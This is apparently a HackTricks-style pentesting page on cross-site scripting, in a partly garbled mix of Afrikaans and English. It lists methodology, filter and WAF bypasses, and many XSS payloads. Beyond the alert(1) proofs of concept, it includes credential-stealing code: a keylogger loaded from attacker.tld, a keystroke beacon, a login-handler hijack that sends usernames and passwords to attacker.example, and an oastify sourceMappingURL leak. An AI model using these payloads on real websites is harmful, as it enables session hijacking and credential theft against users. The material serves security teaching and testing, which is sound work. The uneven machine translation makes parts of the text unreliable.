%.*s
XSS (Cross Site Scripting)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Metodologie
- Kontroleer of enige waarde wat jy beheer (parameters, path, headers?, cookies?) weerspieël word in die HTML of gebruik word deur JS-kode.
- Vind die konteks waar dit weerspieël/gebruik word.
- As dit weerspieël
- Kontroleer watter simbole jy kan gebruik en, afhangend daarvan, berei die payload voor:
- In ruwe HTML:
- Kan jy nuwe HTML-tags skep?
- Kan jy gebeurtenisse of attributte gebruik wat die
javascript:-protokol ondersteun? - Kan jy beskermings omseil?
- Word die HTML-inhoud deur enige client side JS enjin (AngularJS, VueJS, Mavo…) geïnterpreteer? Jy kan ’n Client Side Template Injection misbruik.
- As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy ’n Dangling Markup - HTML scriptless injection misbruik?
- Binne ’n HTML-tag:
- Kan jy na die ruwe HTML-konteks ontsnap?
- Kan jy nuwe gebeurtenisse/attributte skep om JS-kode uit te voer?
- Ondersteun die attribuut waarin jy vas is die uitvoering van JS-kode?
- Kan jy beskermings omseil?
- Binne JavaScript code:
- Kan jy uit die
<script>-tag ontsnap? - Kan jy uit die string ontsnap en ander JS-kode uitvoer?
- Is jou inset in template literals
\``? - Kan jy beskermings omseil?
- Javascript funksie wat uitgevoer word
- Jy kan die naam van die funksie aandui om uit te voer. e.g.:
?callback=alert(1) - As dit gebruik word:
- Jy kan ’n DOM XSS uitbuit — let daarop hoe jou inset beheer word en of jou beheerde inset deur enige sink gebruik word.
When working on a complex XSS you might find interesting to know about:
Weerspiegelde waardes
Om ’n XSS suksesvol uit te buit, is die eerste ding wat jy moet vind ’n waarde wat deur jou beheer word en in die webblad weerspieël word.
- Intermediately reflected: As jy vind dat die waarde van ’n parameter of selfs die pad in die webblad weerspieël word, kan jy ’n Reflected XSS uitbuit.
- Stored and reflected: As jy ’n waarde vind wat deur jou beheer word, op die bediener gestoor word en elke keer as jy ’n bladsy besoek weerspieël word, kan jy ’n Stored XSS uitbuit.
- Accessed via JS: As jy vind dat ’n waarde wat jy beheer deur JS toeganklik gemaak word, kan jy ’n DOM XSS uitbuit.
Kontekste
Wanneer jy probeer om ’n XSS uit te buit, is die eerste ding wat jy moet weet waar jou inset weerspieël word. Afhangend van die konteks, sal jy op verskillende maniere in staat wees om ewekansige JS-kode uit te voer.
Ruwe HTML
As jou inset in die ruwe HTML bladsy weerspieël word, sal jy ’n HTML-tag moet misbruik om JS-kode uit te voer: <img , <iframe , <svg , <script … dit is net ’n paar van die baie moontlike HTML-tags wat jy kan gebruik.
Ook, hou in gedagte Client Side Template Injection.
Inside HTML tags attribute
As jou inset binne die waarde van ’n attribuut van ’n tag weerspieël word, kan jy probeer:
- Om uit die attribuut en uit die tag te ontsnap (dan sal jy in die ruwe HTML wees) en ’n nuwe HTML-tag te skep om te misbruik:
"><img [...] - As jy uit die attribuut kan ontsnap maar nie uit die tag nie (
>is geënkodeer of verwyder), afhangend van die tag kan jy ’n gebeurtenis skep wat JS-kode uitvoer:" autofocus onfocus=alert(1) x=" - As jy nie uit die attribuut kan ontsnap nie (
"is geënkodeer of verwyder), dan afhangend van watter attribuut jou waarde in weerspieël word en of jy die hele waarde beheer of net ’n deel daarvan, sal jy dit kan misbruik. By voorbeeld, as jy ’n gebeurtenis soosonclick=beheer, sal jy dit in staat stel om ewekansige kode uit te voer wanneer daar geklik word. ’n Ander interessante voorbeeld is die attribuuthref, waar jy diejavascript:-protokol kan gebruik om ewekansige kode uit te voer:href="javascript:alert(1)" - As jou inset binne “onuitbuitbare tags” weerspieël word, kan jy die
accesskey-truc probeer om die vuln te misbruik (jy sal ’n soort sosiale ingenieurswese nodig hê om dit te benut):" accesskey="x" onclick="alert(1)" x="
Login XSS wat slegs in ’n attribuut voorkom agter WAFs
’n Korporatiewe SSO login-bladsy het die OAuth service parameter binne die href attribuut van <a id="forgot_btn" ...> weerspieël. Alhoewel < en > HTML-geënkodeer was, was dubbel aanhalingstekens nie, so die aanvaller kon die attribuut sluit en dieselfde element hergebruik om handlers soos " onfocus="payload" x=" in te voeg.
- Inspuit die handler: Eenvoudige payloads soos
onclick="print(1)"is geblokkeer, maar die WAF het slegs die eerste JavaScript-stelling in inline-attribuut geïnspekteer. Deur ’n skadelose uitdrukking in hakies te plaas, gevolg deur ’n semikolon, kon die werklike payload uitgevoer word:onfocus="(history.length);malicious_code_here". - Automaties aktiveer dit: Browsers fokus enige element waarvan die
idmet die fragment ooreenstem, dus deur#forgot_btnby die exploit-URL te voeg dwing jy die anker om op bladsy-laai gefokus te word en die handler uit te voer sonder ’n klik. - Hou die inline-stub klein: Die teiken het reeds jQuery ingesluit. Die handler moes net ’n versoek met
$.getScript(...)inisieer terwyl die volle keylogger op die aanvaller se bediener gehost is.
Strings bou sonder aanhalingstekens
Enkel-aanhalingstekens is URL-geënkodeer teruggestuur en ontsnapte dubbel-aanhalingstekens het die attribuut korrup gemaak, so die payload het elke string gegenereer met String.fromCharCode. ’n Helper-funksie maak dit maklik om enige URL in char codes om te sit voordat jy dit in die attribuut plak:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
’ n resulterende attribuut het soos volg gelyk:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Waarom dit credentials steel
Die eksterne script (geladen vanaf ‘n attacker-controlled host’ of Burp Collaborator) het document.onkeypress gehook, toetsaanslae in ’n buffer gestoor, en elke sekonde new Image().src = collaborator_url + keys uitgevoer. Aangesien die XSS slegs vir nie-geauthentiseerde gebruikers aktiveer, is die sensitiewe aksie self die login-formulier — die aanvaller neem toetsaanslae (keylogs) van gebruikersname en wagwoorde op selfs al druk die slagoffer nooit “Login” nie.
Vreemde voorbeeld van Angular wat XSS uitvoer as jy ’n class name beheer:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Binne JavaScript code
In hierdie geval word jou insetsel weerspieël tussen <script> [...] </script> tags van ’n HTML-bladsy, binne ’n .js-lêer of binne ’n attribuut wat die javascript: protokol gebruik:
- As dit weerspieël word tussen
<script> [...] </script>tags, selfs al is jou insetsel binne enige soort aanhalingstekens, kan jy probeer om</script>in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die blaaier eers die HTML-tags sal ontleed en dan die inhoud, daarom sal dit nie opmerk dat jou ingevoegde</script>-tag deel is van die HTML-kode nie. - As dit weerspieël word binne ’n JS string en die laaste truuk werk nie, sal jy die string moet verlaat, jou kode moet uitvoer en die JS-kode moet herbou (as daar enige fout is, sal dit nie uitgevoer word nie):
'-alert(1)-'';-alert(1)//\';alert(1)//- As dit weerspieël word binne template literals kan jy JS-uitdrukkings insluit deur die
${ ... }sintaksis te gebruik:var greetings = `Hello, ${alert(1)}` - Unicode encode werk om geldige JavaScript-kode te skryf:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting verwys na die geleentheid om funksies, veranderlikes of klasse ná hul gebruik te verklaar sodat jy scenario’s kan misbruik waar ’n XSS onverklaarde veranderlikes of funksies gebruik.
Kyk na die volgende bladsy vir meer inligting:
Javascript Function
Verskeie webblaaie het endpoints wat as parameter die naam van die funksie om uit te voer aanvaar. ’n Algemene voorbeeld wat jy in die veld sal sien is iets soos: ?callback=callbackFunc.
’n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word probeer uitgevoer word, is om die param-waarde te verander (byvoorbeeld na ‘Vulnerable’) en in die console te kyk vir foutboodskappe soos:
.png)
Indien dit kwesbaar is, kan jy moontlik ’n alert trigger deur net die waarde te stuur: ?callback=alert(1). Dit is egter baie algemeen dat hierdie endpoints die inhoud sal valideer om slegs letters, nommers, kolletjies en underscores toe te laat ([\w\._]).
Selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM te bereik:
.png)
Sommige nuttige funksies hiervoor:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Jy kan ook probeer om Javascript-funksies direk aan te roep: obj.sales.delOrders.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Universal XSS
These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
Some examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Nota: A HTML comment can be closed using****-->****or **--!>**
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Maar, as tags/attributes black/whitelisting gebruik word, sal jy die brute-force watter tags moet uitvoer wat jy kan skep.
Sodra jy gevind het watter tags toegelaat word, moet jy brute-force attributes/events binne die gevonde geldige tags doen om te sien hoe jy die konteks kan aanval.
Tags/Events brute-force
Gaan na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet en klik op Copy tags to clipboard. Stuur dan almal met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy brute force all the events met die geldige tags (op dieselfde webblad klik op Copy events to clipboard en volg dieselfde prosedure as voorheen).
Custom tags
As jy geen geldige HTML tag gevind het nie, kan jy probeer om ’n create a custom tag te skep en JS-kode uit te voer met die onfocus attribute. In die XSS-versoek moet jy die URL met # eindig om die bladsy op daardie objek te focus en die kode te execute:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
As ’n soort blacklist gebruik word, kan jy probeer om dit met ’n paar eenvoudige truuks te bypass:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Meer klein XSS vir verskillende omgewings payload kan hier gevind word en hier.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Die laaste een gebruik 2 unicode-karaktere wat uitbrei tot 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
As, om die kwetsbaarheid uit te buit, jy die gebruiker benodig om op ’n skakel of ’n vorm te klik met vooraf ingevulde data, kan jy probeer om abuse Clickjacking (as die bladsy kwesbaar is).
Impossible - Dangling Markup
As jy dink dat dit onmoontlik is om ’n HTML tag met ’n attribuut te skep wat JS code uitvoer, moet jy Danglig Markup because jy kan die vulnerability exploit without executing JS code.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
As jy binne ’n HTML tag is, is die eerste ding wat jy kan probeer om uit die tag te escape en sommige van die tegnieke genoem in die previous section te gebruik om JS code uit te voer.
As jy nie uit die tag kan escape nie, kan jy nuwe attributte binne die tag skep om te probeer JS code uit te voer, byvoorbeeld deur ’n payload soos (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stylgebeure
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Binne die attribuut
Selfs al kan jy nie uit die attribuut ontsnap nie (" word gekodeer of verwyder), afhangende van in watter attribuut jou waarde weerspieël word as jy die hele waarde of net ’n deel daarvan beheer sal jy dit kan misbruik. By voorbeeld, as jy ’n event soos onclick= beheer sal jy dit laat uitvoer van willekeurige kode wanneer dit geklik word.
Nog ’n interessante voorbeeld is die attribuut href, waar jy die javascript: protokol kan gebruik om willekeurige kode uit te voer: href="javascript:alert(1)"
Bypas binne event deur HTML-enkodering/URL-enkodeer
Die HTML-gekodeerde karakters binne die waarde van HTML-tag-attribuutwaardes word tijdens runtime gedekodeer. Daarom sal iets soos die volgende geldig wees (die payload is in vet): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Let daarop dat enige soort HTML-enkodering geldig is:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Let wel dat URL encode ook sal werk:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass binne event met behulp van Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Spesiale protokolle binne die attribuut
Daar kan jy in sekere plekke die protokolle javascript: of data: gebruik om willekeurige JS-kode uit te voer. Sommige vereis gebruikersinteraksie; ander nie.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Plekke waar jy hierdie protokolle kan inspuit
In die algemeen kan die javascript: protocol gebruik word in enige tag wat die attribuut href aanvaar en in die meeste van die tags wat die attribuut src aanvaar (maar nie <img> nie)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Ander obfuskeringstrieke
In hierdie geval is die HTML-kodering en die Unicode-koderingstruuk uit die vorige afdeling ook geldig aangesien jy binne ’n attribuut is.
<a href="javascript:var a=''-alert(1)-''">
Daarbenewens is daar nog ’n mooi truuk vir hierdie gevalle: Selfs al word jou inset binne javascript:... URL encoded, sal dit URL decoded word voordat dit uitgevoer word. Dus, as jy nodig het om escape uit die string te maak met ’n single quote en jy sien dat dit URL encoded word, onthou dat dit nie saak maak nie, dit sal tydens die execution as ’n single quote geïnterpreteer word.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Let wel dat as jy probeer om beide URLencode + HTMLencode in enige volgorde te gebruik om die payload te enkodeer, sal dit nie werk nie, maar jy kan dit meng binne die payload.
Gebruik Hex and Octal encode met javascript:
Jy kan Hex en Octal encode binne die src attribuut van iframe (ten minste) gebruik om HTML tags to execute JS te declareer:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
As jy enige URL in ’n ewekansige <a href= tag kan insit wat die target="_blank" and rel="opener" attributes bevat, raadpleeg die volgende bladsy om hierdie gedrag uit te buit:
on Event Handlers Bypass
Eerstens, kyk na hierdie bladsy (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) vir nuttige “on” event handlers.
As daar ’n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende bypasses probeer:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “Onuitbuitbare tags” (hidden input, link, canonical, meta)
Vanaf here is dit nou moontlik om hidden inputs te misbruik met:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
En in meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Vanaf here: Jy kan XSS payload inside a hidden attribute uitvoer, mits jy die oortuig die victim kan om die key combination te druk. Op Firefox Windows/Linux is die key combination ALT+SHIFT+X en op OS X is dit CTRL+ALT+X. Jy kan ’n ander key combination spesifiseer deur ’n ander sleutel in die access key attribute te gebruik. Hier is die vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
Die XSS payload sal ongeveer soos volg wees: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Verskeie truuks met verskillende enkodering is reeds in hierdie afdeling blootgelê. Gaan terug om te leer waar jy dit kan gebruik:
- HTML enkodering (HTML tags)
- Unicode enkodering (kan geldige JS-kode wees):
\u0061lert(1) - URL enkodering
- Hex en Octal enkodering
- data enkodering
Bypasses for HTML tags and attributes
Lees die Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lees die JavaScript bypass blacklist of the following section.
CSS-Gadgets
If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.
Byvoorbeeld, jy kan sommige styling in die element byvoeg soos: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Maar as die WAF die style-attribute filtreer, kan jy CSS Styling Gadgets gebruik; as jy byvoorbeeld vind
.test {display:block; color: blue; width: 100%}
en
#someid {top: 0; font-family: Tahoma;}
Nou kan jy ons skakel wysig en dit in die volgende vorm bring
<a href=“” id=someid class=test onclick=alert() a=“”>
Hierdie truuk is geneem van https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Inspuiting binne JavaScript code
In hierdie geval gaan jou input weerspieël word binne die JS code van ’n .js file of tussen <script>...</script> tags of tussen HTML events wat JS code kan uitvoer of tussen attributes wat die javascript: protocol aanvaar.
Ontsnap <script> tag
As jou kode ingesit is binne <script> [...] var input = 'reflected data' [...] </script> kan jy maklik die sluiting van die <script> tag ontsnap:
</script><img src=1 onerror=alert(document.domain)>
Let wel dat ons in hierdie voorbeeld nie eers die enkele aanhalingsteken toegemaak het nie. Dit is omdat HTML parsing eers deur die browser uitgevoer word, wat behels dat bladsyelemente geïdentifiseer word, insluitend blokke van script. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer, vind eers daarna plaas.
Binne JS code
Indien <> gesanitiseer word, kan jy steeds die string ontsnap waar jou invoer geleë is en arbitraire JS uitvoer. Dit is belangrik om die JS-sintaksis reg te stel, want as daar enige foute is, sal die JS code nie uitgevoer word nie:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Wanneer gebruikersinvoer binne ’n geciteerde JavaScript-string beland (bv. server-side echo into an inline script) kan jy die string beëindig, kode injekteer en die sintaks herstel om parsing geldig te hou. Generiese geraamte:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Voorbeeld URL-patroon wanneer die kwesbare parameter in ’n JS-string gereflekteer word:
?param=test";<INJECTION>;a="
Dit voer attacker JS uit sonder dat dit die HTML-konteks hoef te raak (suiwer JS-in-JS). Combineer dit met blacklist bypasses hieronder wanneer filters keywords blokkeer.
Template literals ``
Om strings te konstrueer, behalwe single en double quotes, aanvaar JS ook backticks ``. Dit staan bekend as template literals aangesien hulle toelaat om embedded JS expressions te gebruik met die ${ ... } sintaksis.
Daarom, as jy agterkom dat jou insette reflected binne ’n JS string wat backticks gebruik, kan jy die sintaksis ${ ... } misbruik om arbitrary JS code uit te voer:
Hierdie kan abused word met:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Gekodeerde code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Lewerbare payloads met eval(atob()) en nuanses van scope
Om URLs korter te hou en naïewe sleutelwoordfilters te omseil, kan jy jou werklike logika base64-encode en dit evalueer met eval(atob('...')). As eenvoudige sleutelwoordfiltering identifiseerders soos alert, eval, of atob blokkeer, gebruik Unicode-ontsnapte identifiseerders wat in die blaaier identies saamstel maar stringvergelykingsfilters ontduik:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Belangrike nuans oor skoping: const/let wat binne eval() verklaar word, is blok-beperk en skep NIE globals nie; hulle sal nie vir latere skripte toeganklik wees nie. Gebruik ’n dinamies geïnjekteerde <script> element om globale, nie-herbindbare hooks te definieer waar nodig (bv. om ’n form handler te kap):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Verwysing: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Enkodeer JS-uitvoering
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists tegnieke
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Spesiale ontsnapsekwensies
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Spasievervangings in JS-kode
<TAB>
/**/
JavaScript comments (van JavaScript Comments truuk)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript nuwe reëls (van JavaScript new line truuk)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript witruimtes
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript binne ’n kommentaar
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sonder hakies
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
